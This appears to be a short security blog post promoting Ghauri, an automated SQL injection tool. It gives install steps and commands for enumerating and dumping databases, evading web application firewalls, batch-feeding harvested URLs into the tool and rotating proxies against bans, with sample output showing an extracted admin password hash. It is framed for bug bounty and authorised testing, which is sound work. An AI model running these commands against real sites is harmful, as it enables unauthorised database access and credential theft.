Ghauri – Next-Level SQL Injection Exploitation

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Ghauri is a powerful automated SQL Injection exploitation tool designed for web application security, bug bounty hunting, and CTF challenges. Developed by @r0oth3x49, it specializes in:
– Time-based blind SQLi
– Boolean-based SQLi
– Heavy WAF bypassing
– Modern MySQL & PostgreSQL support
– Async multi-threaded payload delivery

Why Ghauri Stands Out

✔ WAF Evasion: Uses intelligent techniques to bypass multiple Web Application Firewalls.
✔ Header Injection: Supports SQLi in headers (User-Agent, Referer, etc.).
✔ Burp Suite Integration: Works seamlessly with Burp Suite requests.
✔ Detailed Output: Provides a modern CLI with comprehensive exploitation logs.

Example Usage

ghauri -u "https://example.com/vuln.php?id=1" --dbs

You Should Know:

1. Installation & Setup

git clone https://github.com/r0oth3x49/ghauri.git 
cd ghauri 
pip3 install -r requirements.txt

2. Basic Exploitation Commands

  • Enumerate databases: 
    ghauri -u "https://example.com/vuln.php?id=1" --dbs
  • Dump table data: 
    ghauri -u "https://example.com/vuln.php?id=1" -D dbname -T tablename --dump

3. Advanced WAF Bypass Techniques

  • Use randomized user-agent and delay-based evasion: 
    ghauri -u "https://example.com/vuln.php?id=1" --random-agent --delay=2

4. Combining with Recon Tools

  • Gau (Fetching URLs): 
    gau example.com | grep "id=" | ghauri --batch
  • Nuclei (Vulnerability Scanning): 
    nuclei -u https://example.com -t sqli-detection.yaml | tee sqli_targets.txt

5. Burp Suite Integration

1. Capture a request in Burp.

2. Save it to a file (`request.txt`).

3. Run Ghauri:

ghauri -r request.txt --level=5 --risk=3

What Undercode Say

Ghauri is a game-changer for SQLi exploitation, especially against hardened targets. Its WAF bypass capabilities and multi-threading make it faster than traditional tools like SQLmap. For best results:
– Pair with recon tools (Gau, Nuclei, Dalfox).
– Use proxy rotation to avoid IP bans.
– Test in controlled environments before live engagements.

Expected Output:

[+] Target URL: https://example.com/vuln.php?id=1 
[+] Database(s): 
- information_schema 
- admin_db 
- user_data 
[+] Tables in admin_db: 
- users 
- config 
[+] Extracted credentials from users table: 
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 |

Prediction

With increasing WAF protections, tools like Ghauri will evolve with AI-driven payload generation and automated fingerprinting to stay ahead of defenses.

Reference: Ghauri GitHub

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Reported By: Asim Khan – Hackers Feeds
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